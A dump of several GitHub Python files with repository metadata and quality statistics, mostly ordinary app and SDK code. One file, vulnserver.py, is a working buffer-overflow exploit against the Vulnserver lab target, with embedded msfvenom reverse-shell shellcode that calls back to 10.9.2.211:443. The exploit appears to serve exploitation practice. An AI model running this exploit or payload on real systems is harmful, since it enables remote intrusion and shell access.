hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4eeadf2681fe23b87f5bea131bf7f76a9bfba3aa
| 155
|
py
|
Python
|
azure_monitor/src/azure_monitor/sdk/__init__.py
|
hectorhdzg/opentelemetry-azure-monitor-python
|
f57679d80f259181486a1124f0d6b71012d4826b
|
[
"MIT"
] | 13
|
2020-04-03T17:17:45.000Z
|
2021-06-08T15:23:03.000Z
|
azure_monitor/src/azure_monitor/sdk/__init__.py
|
hectorhdzg/opentelemetry-azure-monitor-python
|
f57679d80f259181486a1124f0d6b71012d4826b
|
[
"MIT"
] | 72
|
2020-03-24T10:42:06.000Z
|
2021-01-28T23:39:42.000Z
|
azure_monitor/src/azure_monitor/sdk/__init__.py
|
hectorhdzg/opentelemetry-azure-monitor-python
|
f57679d80f259181486a1124f0d6b71012d4826b
|
[
"MIT"
] | 11
|
2020-04-27T20:01:31.000Z
|
2021-11-02T14:54:14.000Z
|
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
from . import auto_collection
__all__ = ["auto_collection"]
| 25.833333
| 59
| 0.774194
| 19
| 155
| 6
| 0.842105
| 0.245614
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141935
| 155
| 5
| 60
| 31
| 0.857143
| 0.574194
| 0
| 0
| 0
| 0
| 0.238095
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f609c1834b83563ef3b500f8caf8053df708068f
| 24
|
py
|
Python
|
data/studio21_generated/interview/1645/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/interview/1645/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/interview/1645/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def sum_of_squares(n):
| 12
| 22
| 0.75
| 5
| 24
| 3.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 24
| 2
| 23
| 12
| 0.761905
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f62f9e1b0743016f0f7e389f124a6f4f3eddcbe8
| 91
|
py
|
Python
|
run.py
|
PISK12/UI_download_novel
|
fb14bb37315526baa2f3cca03d825543d08e7ed6
|
[
"MIT"
] | null | null | null |
run.py
|
PISK12/UI_download_novel
|
fb14bb37315526baa2f3cca03d825543d08e7ed6
|
[
"MIT"
] | 1
|
2018-07-11T19:49:38.000Z
|
2018-07-11T19:49:38.000Z
|
run.py
|
PISK12/UI_download_novel
|
fb14bb37315526baa2f3cca03d825543d08e7ed6
|
[
"MIT"
] | 1
|
2018-01-24T19:11:42.000Z
|
2018-01-24T19:11:42.000Z
|
from Wuxii.front_app import MainWindow
if __name__ == '__main__':
MainWindow().play()
| 18.2
| 38
| 0.725275
| 11
| 91
| 5.181818
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 91
| 4
| 39
| 22.75
| 0.74026
| 0
| 0
| 0
| 0
| 0
| 0.087912
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f63f1b6ff95bf1ca89a9467e7e125219815f54d5
| 691
|
py
|
Python
|
red_squirrel_api/serializers.py
|
Feasoron/red-squirrel
|
54eef4ba34a7942ea915089eef7b74c1de004037
|
[
"Apache-2.0"
] | null | null | null |
red_squirrel_api/serializers.py
|
Feasoron/red-squirrel
|
54eef4ba34a7942ea915089eef7b74c1de004037
|
[
"Apache-2.0"
] | null | null | null |
red_squirrel_api/serializers.py
|
Feasoron/red-squirrel
|
54eef4ba34a7942ea915089eef7b74c1de004037
|
[
"Apache-2.0"
] | null | null | null |
from rest_framework import serializers
from red_squirrel.models import Food, Category, Unit, StorageLocation
class LocationSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = StorageLocation
fields = ('url', 'name')
class UnitSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Unit
fields = ('url', 'name')
class CategorySerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Category
fields = ('url', 'name')
class FoodSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Food
fields = ('url', 'name', 'category', 'location')
| 30.043478
| 69
| 0.696093
| 60
| 691
| 7.983333
| 0.4
| 0.308977
| 0.350731
| 0.384134
| 0.425887
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208394
| 691
| 22
| 70
| 31.409091
| 0.875686
| 0
| 0
| 0.388889
| 0
| 0
| 0.063676
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.111111
| 0
| 0.555556
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
f65f7c7f18d58d50880a0acc1d499f9e6ab59fc7
| 145
|
py
|
Python
|
my_utils/dicts/set_config_default_item.py
|
fgitmichael/SelfSupevisedSkillDiscovery
|
60eee11cfd67046190dd2784bf40e97bdbed9d40
|
[
"MIT"
] | null | null | null |
my_utils/dicts/set_config_default_item.py
|
fgitmichael/SelfSupevisedSkillDiscovery
|
60eee11cfd67046190dd2784bf40e97bdbed9d40
|
[
"MIT"
] | 6
|
2021-02-02T23:00:02.000Z
|
2022-01-13T03:13:51.000Z
|
my_utils/dicts/set_config_default_item.py
|
fgitmichael/SelfSupevisedSkillDiscovery
|
60eee11cfd67046190dd2784bf40e97bdbed9d40
|
[
"MIT"
] | null | null | null |
def set_config_default_item(config: dict, key, default) -> dict:
if not key in config.keys():
config[key] = default
return config
| 36.25
| 64
| 0.675862
| 21
| 145
| 4.52381
| 0.571429
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.22069
| 145
| 4
| 65
| 36.25
| 0.840708
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9caef60c2a59957b4e786116106a5eea2e873e9d
| 2,807
|
py
|
Python
|
examples/vulnserver.py
|
the-robot/buff
|
5fd68935e40543f6df8f134bc48b8f428ad7af55
|
[
"WTFPL"
] | 4
|
2021-12-13T00:52:10.000Z
|
2022-03-06T17:11:02.000Z
|
examples/vulnserver.py
|
the-robot/buff
|
5fd68935e40543f6df8f134bc48b8f428ad7af55
|
[
"WTFPL"
] | null | null | null |
examples/vulnserver.py
|
the-robot/buff
|
5fd68935e40543f6df8f134bc48b8f428ad7af55
|
[
"WTFPL"
] | null | null | null |
import buff
target = ("10.10.39.66", 9999)
# From Spiking I learnt what the prefix is
runner = buff.Buff(target = target, prefix = "TRUN /.:/")
"""
FIRST CREATE WOKRING DIRECTORY!!!
!mona config -set workingfolder c:\mona\%p
"""
# ----- 1. FUZZING -----
# Crashed at 2000
# runner.fuzz()
# ----- 2. Send Unique Characters -----
# Set Buffer Size
BUFFER_SIZE = 2400
runner.setBufferSize(BUFFER_SIZE)
# runner.sendPattern()
# ----- 3. Find EIP Offset -----
"""
!mona findmsp -distance 2400
"""
# offset = buff.generator.findPatternOffset(BUFFER_SIZE, "v1Av")
# print(offset)
# Set Eip offset
EIP_OFFSET = 2003
runner.setEipOffset(EIP_OFFSET)
# ----- 4. Find Bad Characters -----
"""
!mona bytearray -b "\x00"
!mona compare -f C:\mona\vulnserver\bytearray.bin -a 0187F9E0
"""
# runner.sendBadChars(exclude = [])
# ----- 5. Send Exploit -----
"""
Find JMP ESP
!mona jmp -r esp -cpb "\"x00
Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.9.2.211 LPORT=443 EXITFUNC=thread -b "\x00" -f c
"""
# Set return address (in reverse)
eip_address = "\xaf\x11\x50\x62"
runner.setEipAddress(eip_address)
exploit = (
"\xda\xcf\xd9\x74\x24\xf4\x5a\xbf\x36\xc9\x40\xa8\x31\xc9\xb1"
"\x52\x31\x7a\x17\x03\x7a\x17\x83\xf4\xcd\xa2\x5d\x04\x25\xa0"
"\x9e\xf4\xb6\xc5\x17\x11\x87\xc5\x4c\x52\xb8\xf5\x07\x36\x35"
"\x7d\x45\xa2\xce\xf3\x42\xc5\x67\xb9\xb4\xe8\x78\x92\x85\x6b"
"\xfb\xe9\xd9\x4b\xc2\x21\x2c\x8a\x03\x5f\xdd\xde\xdc\x2b\x70"
"\xce\x69\x61\x49\x65\x21\x67\xc9\x9a\xf2\x86\xf8\x0d\x88\xd0"
"\xda\xac\x5d\x69\x53\xb6\x82\x54\x2d\x4d\x70\x22\xac\x87\x48"
"\xcb\x03\xe6\x64\x3e\x5d\x2f\x42\xa1\x28\x59\xb0\x5c\x2b\x9e"
"\xca\xba\xbe\x04\x6c\x48\x18\xe0\x8c\x9d\xff\x63\x82\x6a\x8b"
"\x2b\x87\x6d\x58\x40\xb3\xe6\x5f\x86\x35\xbc\x7b\x02\x1d\x66"
"\xe5\x13\xfb\xc9\x1a\x43\xa4\xb6\xbe\x08\x49\xa2\xb2\x53\x06"
"\x07\xff\x6b\xd6\x0f\x88\x18\xe4\x90\x22\xb6\x44\x58\xed\x41"
"\xaa\x73\x49\xdd\x55\x7c\xaa\xf4\x91\x28\xfa\x6e\x33\x51\x91"
"\x6e\xbc\x84\x36\x3e\x12\x77\xf7\xee\xd2\x27\x9f\xe4\xdc\x18"
"\xbf\x07\x37\x31\x2a\xf2\xd0\x34\xa2\xfe\xf3\x21\xb6\xfe\xf2"
"\x0a\x3f\x18\x9e\x7c\x16\xb3\x37\xe4\x33\x4f\xa9\xe9\xe9\x2a"
"\xe9\x62\x1e\xcb\xa4\x82\x6b\xdf\x51\x63\x26\xbd\xf4\x7c\x9c"
"\xa9\x9b\xef\x7b\x29\xd5\x13\xd4\x7e\xb2\xe2\x2d\xea\x2e\x5c"
"\x84\x08\xb3\x38\xef\x88\x68\xf9\xee\x11\xfc\x45\xd5\x01\x38"
"\x45\x51\x75\x94\x10\x0f\x23\x52\xcb\xe1\x9d\x0c\xa0\xab\x49"
"\xc8\x8a\x6b\x0f\xd5\xc6\x1d\xef\x64\xbf\x5b\x10\x48\x57\x6c"
"\x69\xb4\xc7\x93\xa0\x7c\xe7\x71\x60\x89\x80\x2f\xe1\x30\xcd"
"\xcf\xdc\x77\xe8\x53\xd4\x07\x0f\x4b\x9d\x02\x4b\xcb\x4e\x7f"
"\xc4\xbe\x70\x2c\xe5\xea"
)
runner.setExploit(exploit)
# set padding
runner.setPaddingSize(16)
# runner.sendExploit()
| 28.353535
| 96
| 0.67011
| 515
| 2,807
| 3.634951
| 0.565049
| 0.021368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.201603
| 0.111151
| 2,807
| 98
| 97
| 28.642857
| 0.548697
| 0.161382
| 0
| 0
| 0
| 0.621622
| 0.73582
| 0.717425
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.027027
| 0
| 0.027027
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9cc4c301494852172d23081bb82eaf0cce1919e9
| 70
|
py
|
Python
|
stocks/__init__.py
|
xBlynd/FlameCogs
|
c3ebf7a52999cb84c5a038264e3a2e36977cd273
|
[
"MIT"
] | null | null | null |
stocks/__init__.py
|
xBlynd/FlameCogs
|
c3ebf7a52999cb84c5a038264e3a2e36977cd273
|
[
"MIT"
] | null | null | null |
stocks/__init__.py
|
xBlynd/FlameCogs
|
c3ebf7a52999cb84c5a038264e3a2e36977cd273
|
[
"MIT"
] | null | null | null |
from .stocks import Stocks
def setup(bot):
bot.add_cog(Stocks(bot))
| 14
| 26
| 0.742857
| 12
| 70
| 4.25
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128571
| 70
| 4
| 27
| 17.5
| 0.836066
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
9cc64e3afebc0349d94cb201565b9ae6c2381e89
| 268
|
py
|
Python
|
OnlineMessage/views.py
|
KennardWang/OnlineMessage
|
861d93a4d3da2f7e2e92006b71bc8200d9c32916
|
[
"MIT"
] | 5
|
2020-06-21T07:31:50.000Z
|
2020-11-13T03:42:07.000Z
|
OnlineMessage/views.py
|
KennardWang/OnlineMessage
|
861d93a4d3da2f7e2e92006b71bc8200d9c32916
|
[
"MIT"
] | 3
|
2020-06-24T02:42:33.000Z
|
2021-04-08T21:11:28.000Z
|
OnlineMessage/views.py
|
KennardWang/OnlineMessage
|
861d93a4d3da2f7e2e92006b71bc8200d9c32916
|
[
"MIT"
] | null | null | null |
from django.http import HttpResponse
from django.shortcuts import render
def messageBlock(request):
return render(request, 'form.html')
def test(request):
context = {}
context['hi'] = 'Hello'
return render(request, 'error.html', context)
| 22.333333
| 50
| 0.679104
| 31
| 268
| 5.870968
| 0.580645
| 0.10989
| 0.208791
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.205224
| 268
| 11
| 51
| 24.363636
| 0.85446
| 0
| 0
| 0
| 0
| 0
| 0.101563
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0.125
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
9cfb8d60743b39288aa37e3cae93831b18a174da
| 137
|
py
|
Python
|
py_tdlib/constructors/input_message_location.py
|
Mr-TelegramBot/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 24
|
2018-10-05T13:04:30.000Z
|
2020-05-12T08:45:34.000Z
|
py_tdlib/constructors/input_message_location.py
|
MrMahdi313/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 3
|
2019-06-26T07:20:20.000Z
|
2021-05-24T13:06:56.000Z
|
py_tdlib/constructors/input_message_location.py
|
MrMahdi313/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 5
|
2018-10-05T14:29:28.000Z
|
2020-08-11T15:04:10.000Z
|
from ..factory import Type
class inputMessageLocation(Type):
location = None # type: "location"
live_period = None # type: "int32"
| 19.571429
| 36
| 0.715328
| 16
| 137
| 6.0625
| 0.6875
| 0.247423
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.017699
| 0.175182
| 137
| 6
| 37
| 22.833333
| 0.840708
| 0.218978
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
9cff7743e215e9b2eeb21ec7bc8c22ea5925bf2f
| 31
|
py
|
Python
|
mtgjson4/provider/__init__.py
|
Trzypi/mtgjsonv4
|
af0b8bcc372534f1a33a6e181aaff6c231ed517a
|
[
"MIT"
] | null | null | null |
mtgjson4/provider/__init__.py
|
Trzypi/mtgjsonv4
|
af0b8bcc372534f1a33a6e181aaff6c231ed517a
|
[
"MIT"
] | null | null | null |
mtgjson4/provider/__init__.py
|
Trzypi/mtgjsonv4
|
af0b8bcc372534f1a33a6e181aaff6c231ed517a
|
[
"MIT"
] | null | null | null |
"""Upstream data providers."""
| 15.5
| 30
| 0.677419
| 3
| 31
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096774
| 31
| 1
| 31
| 31
| 0.75
| 0.774194
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
14175f6749480b9d1e8a823a455aa2ed1a320017
| 124
|
py
|
Python
|
utils/time.py
|
jakub-tomczak/ror-gui
|
a4b6c8dd081fd845e255063d4bafe086e738e63f
|
[
"MIT"
] | null | null | null |
utils/time.py
|
jakub-tomczak/ror-gui
|
a4b6c8dd081fd845e255063d4bafe086e738e63f
|
[
"MIT"
] | null | null | null |
utils/time.py
|
jakub-tomczak/ror-gui
|
a4b6c8dd081fd845e255063d4bafe086e738e63f
|
[
"MIT"
] | null | null | null |
import datetime
def get_log_time() -> str:
now = datetime.datetime.now()
return now.strftime("%d-%m-%Y %H:%M:%S")
| 17.714286
| 44
| 0.620968
| 20
| 124
| 3.75
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177419
| 124
| 6
| 45
| 20.666667
| 0.735294
| 0
| 0
| 0
| 0
| 0
| 0.137097
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
14286e1bf41331c2dba3a05edef35d70f54e999b
| 37
|
py
|
Python
|
menus.py
|
MxFxM/Bullet_Like
|
3387cc8bec8f67bd2016f114599234b918475da0
|
[
"MIT"
] | null | null | null |
menus.py
|
MxFxM/Bullet_Like
|
3387cc8bec8f67bd2016f114599234b918475da0
|
[
"MIT"
] | null | null | null |
menus.py
|
MxFxM/Bullet_Like
|
3387cc8bec8f67bd2016f114599234b918475da0
|
[
"MIT"
] | null | null | null |
"""
Main menu and in game menu?!
"""
| 9.25
| 28
| 0.567568
| 6
| 37
| 3.5
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.216216
| 37
| 3
| 29
| 12.333333
| 0.724138
| 0.756757
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1451600e9c00411a50f3abd1ce9592c7e46fa868
| 96
|
py
|
Python
|
group/a21/python helper/LevelDataGenerationHelper.py
|
wDANDANw/wDANDANw.github.io
|
acd271e2085eea915a206c671671492286181421
|
[
"MIT"
] | null | null | null |
group/a21/python helper/LevelDataGenerationHelper.py
|
wDANDANw/wDANDANw.github.io
|
acd271e2085eea915a206c671671492286181421
|
[
"MIT"
] | null | null | null |
group/a21/python helper/LevelDataGenerationHelper.py
|
wDANDANw/wDANDANw.github.io
|
acd271e2085eea915a206c671671492286181421
|
[
"MIT"
] | null | null | null |
array = []
for i in range (16):
# array.append([i,0])
array.append([i,5])
print(array)
| 13.714286
| 25
| 0.5625
| 16
| 96
| 3.375
| 0.625
| 0.407407
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.053333
| 0.21875
| 96
| 7
| 26
| 13.714286
| 0.666667
| 0.197917
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
147503db098f4cc22438f35462333c05088e9e4c
| 1,130
|
py
|
Python
|
accelbyte_py_sdk/api/dsm_controller/wrappers/_public.py
|
encyphered/accelbyte-python-sdk
|
09c1e989d7251de308150fdcd3119d662ca2d205
|
[
"MIT"
] | null | null | null |
accelbyte_py_sdk/api/dsm_controller/wrappers/_public.py
|
encyphered/accelbyte-python-sdk
|
09c1e989d7251de308150fdcd3119d662ca2d205
|
[
"MIT"
] | null | null | null |
accelbyte_py_sdk/api/dsm_controller/wrappers/_public.py
|
encyphered/accelbyte-python-sdk
|
09c1e989d7251de308150fdcd3119d662ca2d205
|
[
"MIT"
] | null | null | null |
# pylint: disable=duplicate-code
# pylint: disable=line-too-long
# pylint: disable=missing-function-docstring
# pylint: disable=missing-function-docstring
# pylint: disable=missing-module-docstring
# pylint: disable=too-many-arguments
# pylint: disable=too-many-branches
# pylint: disable=too-many-instance-attributes
# pylint: disable=too-many-lines
# pylint: disable=too-many-locals
# pylint: disable=too-many-public-methods
# pylint: disable=too-many-return-statements
# pylint: disable=too-many-statements
# pylint: disable=unused-import
from typing import Any, Dict, List, Optional, Tuple, Union
from ....core import get_namespace as get_services_namespace
from ....core import run_request
from ....core import same_doc_as
from ..models import ModelsDefaultProvider
from ..operations.public import GetDefaultProvider
from ..operations.public import ListProviders
@same_doc_as(GetDefaultProvider)
def get_default_provider():
request = GetDefaultProvider.create()
return run_request(request)
@same_doc_as(ListProviders)
def list_providers():
request = ListProviders.create()
return run_request(request)
| 29.736842
| 60
| 0.790265
| 143
| 1,130
| 6.13986
| 0.356643
| 0.207289
| 0.145786
| 0.182232
| 0.173121
